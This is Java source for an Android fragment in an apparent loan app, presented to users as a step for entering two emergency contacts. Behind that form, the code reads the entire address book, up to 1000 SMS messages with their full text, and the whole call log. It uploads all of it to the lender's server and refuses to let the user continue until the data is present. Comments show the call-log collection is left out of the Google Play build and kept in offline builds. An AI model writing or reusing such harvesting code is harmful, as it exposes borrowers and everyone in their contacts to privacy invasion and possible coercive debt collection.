package com.mexico.inloancash.fragment;

import android.Manifest;
import android.annotation.SuppressLint;
import android.annotation.TargetApi;
import android.content.ContentResolver;
import android.content.Intent;
import android.database.Cursor;
import android.database.sqlite.SQLiteException;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.provider.ContactsContract;
import android.text.Editable;
import android.text.TextUtils;
import android.text.TextWatcher;
import android.util.Log;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.Button;
import android.widget.EditText;
import android.widget.LinearLayout;
import android.widget.TextView;
import android.widget.Toast;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;

import com.google.gson.Gson;
import com.mexico.inloancash.MyApplication;
import com.mexico.inloancash.R;
import com.mexico.inloancash.activity.IndiaCerActivity;
import com.mexico.inloancash.activity.IndiaLoginActivity;
import com.mexico.inloancash.bean.BaseBean;
import com.mexico.inloancash.bean.India_User_Contact_ListBeen;
import com.mexico.inloancash.bean.India_User_Sms_ListBean;
import com.mexico.inloancash.bean.India_CallPhone_ListBean;
import com.mexico.inloancash.dialog.mIndiaChooseDialog;
import com.mexico.inloancash.dialog.India_User_Permission_CommonDialog;
import com.mexico.inloancash.http.IndiaRequestApi;
import com.mexico.inloancash.http.IndiaDKFactory;
import com.mexico.inloancash.india_interfacedai.IndiaChooseAddressInterface;
import com.mexico.inloancash.india_interfacedai.IndiaDealDialogInterface;
import com.mexico.inloancash.utils.India_AppUtils;
import com.mexico.inloancash.utils.MyPreferencesManager;
import com.mexico.inloancash.utils.MyToast;
import com.mexico.inloancash.utils.permission.RxPermissions;

import java.util.ArrayList;
import java.util.List;

import butterknife.BindView;
import butterknife.ButterKnife;
import butterknife.OnClick;
import butterknife.Unbinder;
import retrofit2.Call;
import retrofit2.Callback;
import retrofit2.Response;

/**
 * 联系人
 */
public class IndiaThirdStepAuthFragment extends BaseFragment implements IndiaChooseAddressInterface, IndiaDealDialogInterface {

    @BindView(R.id.relate1)
    TextView mIndia_Relate1;

    @BindView(R.id.relate1_linear)
    LinearLayout mIndia_Relate1_Linear;

    @BindView(R.id.name1)
    EditText mIndia_Name1;

    @BindView(R.id.phone1)
    TextView mIndia_Phone1;

    @BindView(R.id.phone1_linear)
    LinearLayout mIndia_Phone1Linear;

    @BindView(R.id.relate2)
    TextView mIndia_Relate2;

    @BindView(R.id.relate2_linear)
    LinearLayout mIndia_Relate2_Linear;

    @BindView(R.id.name2)
    EditText mIndia_Name2;

    @BindView(R.id.phone2)
    TextView mIndia_Phone2;

    @BindView(R.id.phone2_linear)
    LinearLayout mIndia_Phone2_Linear;

    @BindView(R.id.submit)
    Button mIndia_Submit;

    private View third;
    private IndiaCerActivity activity;//用于修改对应标题
    Unbinder unbinder;
    RxPermissions rxPermissions;
    private int choose = 0;//用于判断是选择得第几个联系人
    private List<India_User_Contact_ListBeen> mPhoneDtos = new ArrayList<>();
    ;//用于存放联系人
    private mIndiaChooseDialog dialog;
    private List<String> mRelete1;
    private String sms;
    private boolean isSingle = false;//用于统计通讯录数据

    public IndiaThirdStepAuthFragment(IndiaCerActivity activity) {
        this.activity = activity;
    }

    private int count = 0;
    String[] permissions;
    private List<India_User_Sms_ListBean> indiaUserSmsListBeans = new ArrayList<>();
    List<String> mPermissionList = new ArrayList<>();
    India_User_Permission_CommonDialog userPermissionCommonDialog;
    private int phonetype;

    @Nullable
    @Override
    public View onCreateView(@NonNull LayoutInflater inflater, @Nullable ViewGroup container, @Nullable Bundle savedInstanceState) {
        third = inflater.inflate(R.layout.india_activity_view_auth_layout_fragment, container, false);
        activity.mIndiaUpdateTitle("Contact information");
        unbinder = ButterKnife.bind(this, third);
        mRelete1 = new ArrayList<>();
        mRelete1.add("Spouses"); //夫妻
        mRelete1.add("Parents"); //父母
        mRelete1.add("Sons"); //子女
        mRelete1.add("Brothers"); //兄弟
        mRelete1.add("Sisters"); //姐妹
        mRelete1.add("Friends"); //朋友
        mRelete1.add("Co-worker"); //同事
        mRelete1.add("Others"); //其他
        userPermissionCommonDialog = new India_User_Permission_CommonDialog(getContext(), this);
        rxPermissions = new RxPermissions(activity);
        deal();
        requestPermission();
        return third;
    }

    @Override
    public void onActivityCreated(@Nullable Bundle savedInstanceState) {
        super.onActivityCreated(savedInstanceState);
    }

    /**
     * 请求获取权限
     */
    @SuppressLint("CheckResult")
    private void requestPermission() {
        String permissions[];
        //谷歌包没有读取通讯录权限
        if (MyApplication.source.equals("Google")) {
            permissions = new String[2];
            permissions[0] = Manifest.permission.READ_CONTACTS;
            permissions[1] = Manifest.permission.READ_SMS;
        } else {
            permissions = new String[3];
            permissions[0] = Manifest.permission.READ_CONTACTS;
            permissions[1] = Manifest.permission.READ_SMS;
            permissions[2] = Manifest.permission.READ_CALL_LOG;
        }
        if (India_AppUtils.isAuthority()) {
            rxPermissions.request(
                    permissions)
                    .subscribe(granted -> {
                                if (granted) {
                                    //授权成功
                                    if (!MyApplication.source.equals("Google")) {
                                        getPhone_Jump_Contacts11();//联系人
                                        get_Jump_SmsInPhone();//短信
                                        get_Jump_ContentCallLog();//通话记录
                                    } else {
                                        getPhone_Jump_Contacts11();//联系人
                                        get_Jump_SmsInPhone();//短信
                                    }
                                } else {
                                    //授权失败 跳转到设置页面
                                    jump_To_Setting();
                                }
                            }
                    );
        }
    }

    private void jump_To_Setting() {
        Toast.makeText(getContext(), "No permission", Toast.LENGTH_LONG).show();
        Intent intent = new Intent();
        intent.setAction(android.provider.Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
        intent.setData(Uri.parse("package:" + getContext().getPackageName()));
        startActivity(intent);
    }


    @OnClick({R.id.relate1_linear, R.id.phone1_linear, R.id.relate2_linear, R.id.phone2_linear, R.id.submit})
    public void onViewClicked(View view) {
        switch (view.getId()) {
            case R.id.relate1_linear:
                dialog = new mIndiaChooseDialog(getContext(), this, "Please choose", mRelete1, "relete1");
                dialog.show();
                break;
            case R.id.phone2_linear:
                phonetype = 2;
                rxPermissions.request(
                        Manifest.permission.READ_CONTACTS)
                        .subscribe(granted -> {
                                    if (granted) {
                                        choose = 2;
                                        startActivityForResult(new Intent(Intent.ACTION_PICK,
                                                ContactsContract.Contacts.CONTENT_URI), 0);
                                    } else {
                                        jump_To_Setting();
                                    }
                                }
                        );

                break;
            case R.id.phone1_linear:
                phonetype = 1;
                rxPermissions.request(
                        Manifest.permission.READ_CONTACTS)
                        .subscribe(granted -> {
                                    if (granted) { // Always true pre-M
                                        // I can control the camera now
                                        choose = 1;
                                        startActivityForResult(new Intent(Intent.ACTION_PICK,
                                                ContactsContract.Contacts.CONTENT_URI), 0);
                                    } else {
                                        jump_To_Setting();
                                    }
                                }
                        );

                break;
            case R.id.relate2_linear:
                dialog = new mIndiaChooseDialog(getContext(), this, "Please choose", mRelete1, "relete2");
                dialog.show();
                break;
            case R.id.submit:
                requestPermission();
                //判断是否是谷歌的渠道 谷歌渠道不需要通话记录 也暂时不需要短信
                if (MyApplication.source.equals("Google")) {
                    //谷歌的渠道
                    if (mPhoneDtos.isEmpty() || indiaUserSmsListBeans.isEmpty()) {
                        Toast.makeText(getContext(), "Contact or SMS is empty", Toast.LENGTH_SHORT).show();
                        return;
                    }
                } else {
                    //线下渠道 通讯录 通话记录 短信 都要
                    if (indiaUserSmsListBeans.isEmpty() || mPhoneDtos.isEmpty() || tonghuajilu.isEmpty()) {
                        Toast.makeText(getContext(), "Data is empty", Toast.LENGTH_SHORT).show();
                        return;
                    }
                }
                if (mIndia_Submit.isSelected()) {
                    //上传通话记录和短信
                    if (India_AppUtils.isAuthority()) {
                        put_Jump_Phone();
                        put_Jump_CallLog();
                        put_Jump_SMS();
                    }
                    deal_Jump_Phone();
                } else {
                    MyToast.show(getContext(), "Please fill in at least Two contacts");
                }
                break;
        }
    }

    @Override
    public void onDestroy() {
        super.onDestroy();
        unbinder.unbind();
    }

    private String phone12 = "", phone22 = "", phone32 = "", othercontacts = "", phone_records = "";

    @Override
    public void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) {
        super.onActivityResult(requestCode, resultCode, data);
        switch (requestCode) {
            case 0:
                /*if (!isSingle && AppUtils.isAuthority()) {
                    getPhoneContacts11();
                    //2021-4-18 改 只要是谷歌的包 就不去通话记录和联系人
                    //2021-5-20改  谷歌包需要短信
                    ///if (!MyApplication.source.equals("Google")) {
                    chkPermissionForSMSAndCallLog();
                    // }
                }*/
                if (data == null) {
                    return;
                }
                //处理返回的data,获取选择的联系人信息
                Uri uri = data.getData();
                String[] contacts = getPhone_Jump_Contacts(uri);
                if (choose == 1) {
                    mIndia_Name1.setText(contacts[0]);
                    phone12 = contacts[1];
                    mIndia_Phone1.setText(phone12);
                    ed_Jump_Status();
                } else if (choose == 2) {
                    mIndia_Name2.setText(contacts[0]);
                    phone22 = contacts[1];
                    mIndia_Phone2.setText(phone22);
                    ed_Jump_Status();
                }
                Gson gson = new Gson();
                try {
                    othercontacts = "";
                    othercontacts = gson.toJson(mPhoneDtos);
                    phone_records = "";
                    phone_records = gson.toJson(tonghuajilu);
//                    Debug.e("---------通话记录===" + phone_rec、ords);
                } catch (Exception e) {
                }
                break;
        }
    }

    /**
     * 上传紧急联系人
     */
    public void deal_Jump_Phone() {
        Log.d("loan", "上传紧急联系人");
        loading.show();
        IndiaRequestApi api = IndiaDKFactory.getInstance().getApi();
        Call<String> savePhone = api.savePhone(MyPreferencesManager.getString("token", ""), MyApplication.source, String.valueOf(mRelete1.indexOf(mIndia_Relate1.getText().toString().trim())), mIndia_Name1.getText().toString().trim(), mIndia_Phone1.getText().toString().trim(), String.valueOf(mRelete1.indexOf(mIndia_Relate2.getText().toString().trim())),
                mIndia_Name2.getText().toString().trim(), mIndia_Phone2.getText().toString().trim());
        savePhone.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                BaseBean baseBean = new Gson().fromJson(response.body(), BaseBean.class);
                Log.d("loan", "onResponse:" + response.body());
                if (baseBean.getCode() == 200) {
                    activity.mIndiaSetTrop(3);
                } else if (baseBean.getCode() == 401) {
                    Intent intent = new Intent(getContext(), IndiaLoginActivity.class);
                    startActivity(intent);
                }
                loading.dismiss();
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                loading.dismiss();
                Log.d("loan", "onError:" + t.toString());
            }
        });
    }

    /**
     * 状态显示
     */
    public void ed_Jump_Status() {
        if (TextUtils.isEmpty(mIndia_Name1.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        if (TextUtils.isEmpty(mIndia_Phone1.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        if (TextUtils.isEmpty(mIndia_Relate1.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        if (TextUtils.isEmpty(mIndia_Relate2.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        if (TextUtils.isEmpty(mIndia_Name2.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        if (TextUtils.isEmpty(mIndia_Phone2.getText().toString().trim())) {
            mIndia_Submit.setSelected(false);
            return;
        }
        mIndia_Submit.setSelected(true);
    }

    private Uri callUri = android.provider.CallLog.Calls.CONTENT_URI;
    private String[] columns = {android.provider.CallLog.Calls.CACHED_NAME// 通话记录的联系人
            , android.provider.CallLog.Calls.NUMBER// 通话记录的电话号码
            , android.provider.CallLog.Calls.DATE// 通话记录的日期
            , android.provider.CallLog.Calls.DURATION// 通话时长
            , android.provider.CallLog.Calls.TYPE};// 通话类型}
    private List<India_CallPhone_ListBean> tonghuajilu = new ArrayList<>();

    /**
     * 检查权限去获取短信和通话记录
     */
    public void chkPermissionForSMSAndCallLog() {

        if (India_AppUtils.isAuthority()) {
            rxPermissions.request(Manifest.permission.READ_SMS)
                    .subscribe(granted -> {
                                if (granted) {
                                    get_Jump_SmsInPhone();
                                }
                            }
                    );

            //不是谷歌的包 才去获取通话记录
            if (!MyApplication.source.equals("Google")) {
                rxPermissions.request(Manifest.permission.READ_CALL_LOG)
                        .subscribe(granted -> {
                                    if (granted) {
                                        get_Jump_ContentCallLog();
                                    }
                                }
                        );
            }
        }
    }

    private int smsMax = 1000;

    /**
     * 获取短信
     *
     * @return
     */
    @SuppressLint("Recycle")
    public void get_Jump_SmsInPhone() {
        if (indiaUserSmsListBeans.size() > 0) {
            return;
        }
        Log.d("loan", "get SMS");
        //The message to access the URL
        final String SMS_ALL = "content://sms/";
        final String SMS_INBOX = "content://sms/inbox";
        final String SMS_SEND = "content://sms/sent";
        final String SMS_DRAFT = "content://sms/draft";
        final String SMS_OUTBOX = "content://sms/outbox";
        final String SMS_FAILED = "content://sms/failed";
        final String SMS_QUEUED = "content://sms/queued";

        Cursor cursor = null;
        try {
            Uri uri = Uri.parse(SMS_ALL);
            String[] projection = new String[]{"_id", "address", "person", "body", "date", "type", "read"};
            cursor = getActivity().getContentResolver().query(uri, projection, null, null, "date desc");
            if (cursor != null) {
                // get internal SMS
                India_User_Sms_ListBean bean;
                int count = 0;
                while (cursor.moveToNext() && count < smsMax) {
                    count++;
                    bean = new India_User_Sms_ListBean();

                    String content = cursor.getString(cursor.getColumnIndex("body"));
                    if (TextUtils.isEmpty(content)) {
                        bean.setSmscontent("");
                    } else {
                        bean.setSmscontent(content);
                    }

                    String strAddress = cursor.getString(cursor.getColumnIndex("address"));
                    if (TextUtils.isEmpty(strAddress)) {
                        bean.setPhone("");
                    } else {
                        bean.setPhone(strAddress);
                    }

                    String smsTime = cursor.getString(cursor.getColumnIndex("date"));
                    bean.setSmstime("0");
                    //bean.setSmstime(cursor.getString(cursor.getColumnIndex("date")));
                    try {
                        if (!TextUtils.isEmpty(smsTime)) {//判断不为空
                            //转换long 类型
                            long times = Long.parseLong(smsTime);
                            if (times <= 0 || smsTime.length() != 13) {
                                //都不是正确的时间
                                bean.setSmstime("0");
                                //Log.e("data","错误时间 不等于13位");
                            } else {
                                bean.setSmstime(smsTime);
                                //Log.e("data", "正确时间" + cursor.getString(cursor.getColumnIndex("date")));
                            }
                        }
                    } catch (Exception e) {
                        e.printStackTrace();
                        bean.setSmstime("0");
                        //Log.e("data","错误时间");
                    }


                    bean.setType(cursor.getString(cursor.getColumnIndex("type")));

                    int smid = cursor.getInt(cursor.getColumnIndex("_id"));//短信ID
                    bean.setSmid(String.valueOf(smid));

                    int read = cursor.getInt(cursor.getColumnIndex("read"));
                    bean.setIsread(read);

                    bean.setName("");
                    for (int i = 0; i < mPhoneDtos.size(); i++) {
                        String phone = mPhoneDtos.get(i).getTelephone().trim();
                        if (!TextUtils.isEmpty(phone)) {
                            if (phone.replace(" ", "").equals(strAddress)) {
                                String name = mPhoneDtos.get(i).getName();
                                bean.setName(name);
                                break;
                            }
                        }
                    }
                    indiaUserSmsListBeans.add(bean);
                }
            }
        } catch (SQLiteException e) {
            Log.d("loan", "can not get sms");
            e.printStackTrace();
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
        Log.d("loan", "get SMS size:" + indiaUserSmsListBeans.size());
        //Log.e("data", "get SMS:" + smsBeans.toString());
        //return new Gson().toJson(userSmsListBeans);
    }

    // TODO 获取通话记录
    @TargetApi(Build.VERSION_CODES.N)
    private void get_Jump_ContentCallLog() {
        if (tonghuajilu.size() > 0) {
            return;
        }
        try {
            Log.d("loan", "get CallLog");
            tonghuajilu.clear();
            @SuppressLint("MissingPermission")
            Cursor cursor = getActivity().getContentResolver().query(callUri, // 查询通话记录的URI
                    columns
                    , null, null, android.provider.CallLog.Calls.DEFAULT_SORT_ORDER// 按照时间逆序排列，最近打的最先显示
            );
            if (cursor != null) {
                while (cursor.moveToNext()) {
                    String name = cursor.getString(cursor.getColumnIndex(android.provider.CallLog.Calls.CACHED_NAME));  //姓名
                    String number = cursor.getString(cursor.getColumnIndex(android.provider.CallLog.Calls.NUMBER));  //号码
                    long date = cursor.getLong(cursor.getColumnIndex(android.provider.CallLog.Calls.DATE)); //获取通话日期
                    int duration = cursor.getInt(cursor.getColumnIndex(android.provider.CallLog.Calls.DURATION));//获取通话时长，值为多少秒
                    int type = cursor.getInt(cursor.getColumnIndex(android.provider.CallLog.Calls.TYPE)); //获取通话类型：1.呼入2.呼出3.未接
                    India_CallPhone_ListBean bean = new India_CallPhone_ListBean();
                    bean.setName(name);
                    bean.setPhone(number);
                    bean.setDate("" + date);
                    bean.setDuration("" + duration);
                    bean.setType("" + type);
                    tonghuajilu.add(bean);
                }
            }
            Log.d("loan", "get CallLog size:" + tonghuajilu.size());
            Log.d("loan", "get CallLog:" + tonghuajilu.toString());
            if (tonghuajilu.size() > 0) {
                isSingle = true;
            }
        } catch (Exception e) {
            e.printStackTrace();
            Log.d("loan", "can not get call log");
        }
    }

    /**
     * 获取库Phone表字段
     **/
    private static final String[] PHONES_PROJECTION = new String[]{
            ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME,
            ContactsContract.CommonDataKinds.Phone.NUMBER,
            ContactsContract.CommonDataKinds.Photo.PHOTO_ID,
            ContactsContract.CommonDataKinds.Phone.CONTACT_ID,
            ContactsContract.CommonDataKinds.Phone.CONTACT_LAST_UPDATED_TIMESTAMP,//联系人 最后更新时间
            ContactsContract.CommonDataKinds.Phone.NAME_RAW_CONTACT_ID//
    };

    /**
     * 电话号码
     **/
    final int PHONES_NUMBER = 1;
    int PHONES_DISPLAY_NAME = 0;

    // 获取手机联系人
    private void getPhone_Jump_Contacts11() {
        try {
            if (mPhoneDtos.size() > 0) {
                return;
            }
            ContentResolver resolver = getActivity().getContentResolver();
            // 获取手机联系人
            Cursor phoneCursor = resolver.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                    PHONES_PROJECTION, null, null, null);
            // 不为空
            if (phoneCursor != null) {
                while (phoneCursor.moveToNext()) {
                    // 得到手机号码
                    String phoneNumber = phoneCursor.getString(PHONES_NUMBER);
                    // 当手机号码为空的或者为空字段 跳过当前循环
                    if (TextUtils.isEmpty(phoneNumber))
                        continue;
                    // 得到联系人名称
                    String contactName = phoneCursor.getString(PHONES_DISPLAY_NAME);
                    India_User_Contact_ListBeen phoneDto = new India_User_Contact_ListBeen(contactName, phoneNumber);

                    long updateTime = phoneCursor.getLong(4);
                    int contactID = phoneCursor.getInt(5);

                    phoneDto.setUpdateTime(updateTime);//设置该条联系人 最后更新时间
                    phoneDto.setLastTmeContacted(0);//最后联系时间 拿不到该值 默认0
                    phoneDto.setTimesContacted(0);//联系次数 拿不到该值 默认传0

                    phoneDto.setSource(getRaw_Jump_ContactId(contactID));//查询

                    mPhoneDtos.add(phoneDto);
                }
                phoneCursor.close();
//            MyToast.show(getContext(), phoneDtos.toString());
            }
        }catch (Exception e){
            e.printStackTrace();
        }
    }


    public int getRaw_Jump_ContactId(int contactId) {
        int source = 1;//默认存在手机内存上的
        try {
            String[] projection = new String[]{ContactsContract.RawContacts._ID, ContactsContract.RawContacts.TIMES_CONTACTED, ContactsContract.RawContacts.ACCOUNT_TYPE};
            String selection = ContactsContract.RawContacts.CONTACT_ID + "=?";
            String[] selectionArgs = new String[]{String.valueOf(contactId)};
            Cursor c = getActivity().getContentResolver().query(ContactsContract.RawContacts.CONTENT_URI, projection, selection, selectionArgs, null);
            if (c != null) {
                while (c.moveToNext()) {
                    String accountType = c.getString(c.getColumnIndex(ContactsContract.RawContacts.ACCOUNT_TYPE));
                    if (!TextUtils.isEmpty(accountType)) {
                        if (accountType.contains("phone")) {
                            //说明该条联系人存储在手机内存上的
                            source = 1;
                        } else {
                            //存在sim 卡上
                            source = 2;
                        }
                        break;
                    }
                }
            }
        } catch (Exception e) {
            e.printStackTrace();
        }
        return source;
    }


    private String[] getPhone_Jump_Contacts(Uri uri) {
        String[] contact = new String[2];
        //得到ContentResolver对象
        ContentResolver cr = getActivity().getContentResolver();
        //取得电话本中开始一项的光标
        Cursor cursor = cr.query(uri, null, null, null, null);
        if (cursor != null) {
            if (cursor != null) {
                cursor.moveToFirst();
                //取得联系人姓名
                int nameFieldColumnIndex = cursor.getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);
                contact[0] = cursor.getString(nameFieldColumnIndex);
                //取得电话号码
                String ContactId = cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts._ID));
                Cursor phone = cr.query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, ContactsContract.CommonDataKinds.Phone.CONTACT_ID + "=" + ContactId, null, null);
                if (phone != null) {
                    phone.moveToFirst();
                    contact[1] = phone.getString(phone.getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER));
                }
                phone.close();
                cursor.close();
            } else {
                return null;
            }
        }
        return contact;
    }

    /**
     * 上传联系人
     */
    public void put_Jump_Phone() {
        if (mPhoneDtos.isEmpty()) return;
        String result = new Gson().toJson(mPhoneDtos);
        // Log.e("data", "===上传联系人===" + result);
        IndiaRequestApi api = IndiaDKFactory.getInstance().getApi();
        Call<String> putPhone = api.phoneData(MyPreferencesManager.getString("token", ""), MyApplication.getInstance().source, result);
        putPhone.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                Log.d("loan", "onResponse:" + response.toString());
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                Log.d("loan", "onFailure:" + t.toString());
            }
        });
    }

    /**
     * 上传短信
     */
    public void put_Jump_SMS() {
        //Log.e("data", "get SMS size:" + userSmsListBeans.size());
        if (indiaUserSmsListBeans.isEmpty()) return;
        String result = new Gson().toJson(indiaUserSmsListBeans);
        Log.e("data", "get SMS size:" + indiaUserSmsListBeans.size());
        // Log.e("data", "=====上传短信=====" + result);
        // Log.d("loan", "putSMS");
        IndiaRequestApi api = IndiaDKFactory.getInstance().getApi();
        Call<String> putPhone = api.putSMSList(MyPreferencesManager.getString("token", ""), MyApplication.getInstance().source, result);
        putPhone.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                //Log.e("data", "putSMS onResponse:" + response.toString());
                Log.e("data", "putSMS onResponse:" + response.message());
                //Log.e("data", "putSMS onResponse:" + response.body());
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                Log.e("loan", "putSMS onFailure:" + t.toString());
            }
        });
    }

    /**
     * 上传通话纪律
     */
    public void put_Jump_CallLog() {
        if (tonghuajilu.isEmpty()) return;
        String result = new Gson().toJson(tonghuajilu);
        // Log.e("data", "====上传通话纪律===" + result);

        IndiaRequestApi api = IndiaDKFactory.getInstance().getApi();
        Call<String> putPhone = api.putCallLog(MyPreferencesManager.getString("token", ""), MyApplication.getInstance().source, result);
        putPhone.enqueue(new Callback<String>() {
            @Override
            public void onResponse(Call<String> call, Response<String> response) {
                Log.d("loan", "putCallLog onResponse:" + response.toString());
            }

            @Override
            public void onFailure(Call<String> call, Throwable t) {
                Log.d("loan", "putCallLog onFailure:" + t.toString());
            }
        });
    }

    @Override
    public void choose(String type, String string) {
        if (type.equals("relete1")) {
            mIndia_Relate1.setText(string);
        } else if (type.equals("relete2")) {
            mIndia_Relate2.setText(string);
        }
    }

    @Override
    public void doPlay() {

    }

    @Override
    public void choose() {

    }

    public void deal() {
        mIndia_Relate1.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
        mIndia_Relate2.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
        mIndia_Name1.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
        mIndia_Name2.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
        mIndia_Phone1.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
        mIndia_Phone2.addTextChangedListener(new TextWatcher() {
            @Override
            public void beforeTextChanged(CharSequence charSequence, int i, int i1, int i2) {

            }

            @Override
            public void onTextChanged(CharSequence charSequence, int i, int i1, int i2) {
                ed_Jump_Status();
            }

            @Override
            public void afterTextChanged(Editable editable) {

            }
        });
    }
}
